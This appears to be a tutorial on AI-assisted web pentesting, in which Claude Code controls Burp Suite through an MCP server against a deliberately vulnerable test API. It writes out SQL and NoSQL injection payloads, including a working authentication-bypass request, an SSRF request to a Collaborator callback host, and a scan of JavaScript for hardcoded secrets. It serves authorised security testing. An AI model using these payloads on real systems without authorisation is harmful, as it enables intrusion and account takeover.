AI-assisted Web Pentesting Using Claude Code + Burp MCP

{
    "mcpServers": {
      "burp-mcp": {
        "command": "java",
        "args": [
            "-jar",
            "/change/to/path/to/mcp-proxy.jar",
            "--sse-url",
            "http://127.0.0.1:9876"
        ]
      }
    }
}

# Pentest Project

## Target Scope
- *.example.com
- api.example.com:443

## Application Context
- **Target:** E-commerce API for ACME Corp
- **Auth Flow:** JWT-based authentication, refresh tokens expire in 7 days
- **User Roles:** Guest, Customer, Admin (test accounts available)
- **Business Logic:** Cart -> Checkout -> Payment (Stripe integration)
- **Stack:** Python/FastAPI backend, PostgreSQL, Redis cache
- **Known Issues:** Legacy endpoints at /api/v1/ still active

## Tools Available
- Burp Suite Professional
- burp-mcp extension loaded

## Output
- Save reports to ./reports/
- Use markdown format

Get all the parametered requests from burp history

GET Requests with Parameters:

| Endpoint | Parameter | Auth Required |
|----------|-----------|---------------|
| GET /api/getNote?username=user | username | Bearer Token |
| GET /api/getSolves | none | Bearer Token |
| GET /api/profile | none | Bearer Token |

POST Requests (with JSON body):

| Endpoint | Auth Required |
|----------|---------------|
| POST /api/login | No |
| POST /api/register | No |
| POST /api/addNote | Bearer Token |
| POST /api/addNoteWithLink | Bearer Token |

Generate SQLi test case on login endpoint

Created 6 SQLi test cases in Burp Repeater:

| Tab Name | Payload Type | Description |
|----------|--------------|-------------|
| SQLi Login - Basic | '-- | Comment out password check |
| SQLi Login - OR True | ' OR '1'='1 | Classic boolean-based SQLi |
| SQLi Login - Comment Bypass | '/* and */ | MySQL comment bypass |
| SQLi Login - UNION Select | UNION SELECT | Data extraction attempt |
| SQLi Login - NoSQL Injection | {"$ne":null} | MongoDB not-equal bypass |
| SQLi Login - NoSQL Regex | {"$regex":".*"} | MongoDB regex bypass |

| Test | Payload | Status | Result |
|------|---------|--------|--------|
| SQLi - Comment | admin'-- | 400 | Blocked |
| SQLi - OR True | ' OR '1'='1 | 400 | Blocked |
| NoSQL - $gt | {"$gt":""} | 200 | BYPASS - Logged in as Alice |
| NoSQL - $gt filtered | {"$gt":"B"} | 200 | BYPASS - Logged in as Bob |

POST /api/login
Content-Type: application/json

{"username":{"$gt":""},"password":{"$gt":""}}

Create a Repeater tab for SQL test cases with the following
payloads ready to test

Do a SSRF test on POST /api/addNoteWithLink, and use collaborator
payload and check for the interaction

Payload: 727j8xszmwaixgagv87lzvozqqwgk5.oastify.com
Payload ID: 727j8xszmwaixgagv87lzvozqqwgk5

POST /api/addNoteWithLink HTTP/1.1
Host: vulnerable-api.com:3000
Content-Type: application/json
Authorization: Bearer <token>

{"url":"http://727j8xszmwaixgagv87lzvozqqwgk5.oastify.com"}

Type: DNS
Timestamp: 2026-03-03T18:01:25.243Z
Client IP: 182.8.64.0
Query Type: A record
Payload ID: 727j8xszmwaixgagv87lzvozqqwgk5

Summarize all vulnerabilities found in this session

# Burp MCP Session Report
**Date:** 2026-03-04
**Target:** vulnerable-api.com:3000

## 1. NoSQL Injection Vulnerability (High)

**Endpoint:** POST /api/login
**Working Exploit:**
{"username":{"$gt":""},"password":{"$gt":""}}

**Impact:** Authentication bypass, user enumeration
**Recommendation:** Validate input as strings, use schema enforcement

## 2. SSRF Vulnerability (High)

**Endpoint:** POST /api/addNoteWithLink
**Parameter:** url
**Evidence:** Collaborator DNS callback from 182.8.64.0
**Recommendation:** URL allowlist, block private IP ranges

## Summary

| Vulnerability | Severity | Status |
|---------------|----------|--------|
| NoSQL Injection | High | Confirmed |
| SSRF | High | Confirmed |

Search proxy history for JavaScript files and analyze them
for hardcoded endpoints or API keys

JavaScript Analysis (3 files):

app.js
  Endpoints:
    - GET /api/internal/users
    - POST /api/admin/backup
  Potential Secret:
    - apiKey: "sk-prod-xxxxx" (line 142)

vendor.js
  No findings

analytics.js
  Endpoints:
    - POST https://analytics.example.com/track
  Potential Secret:
    - token: "eyJhbGciOiJIUzI1NiJ9..." (JWT, line 8)

Send the /api/search?q=test request to Intruder.
Mark the q parameter value as the injection point.

Generate a Collaborator payload for testing XXE

Check if any Collaborator callbacks came in from payload ID abc123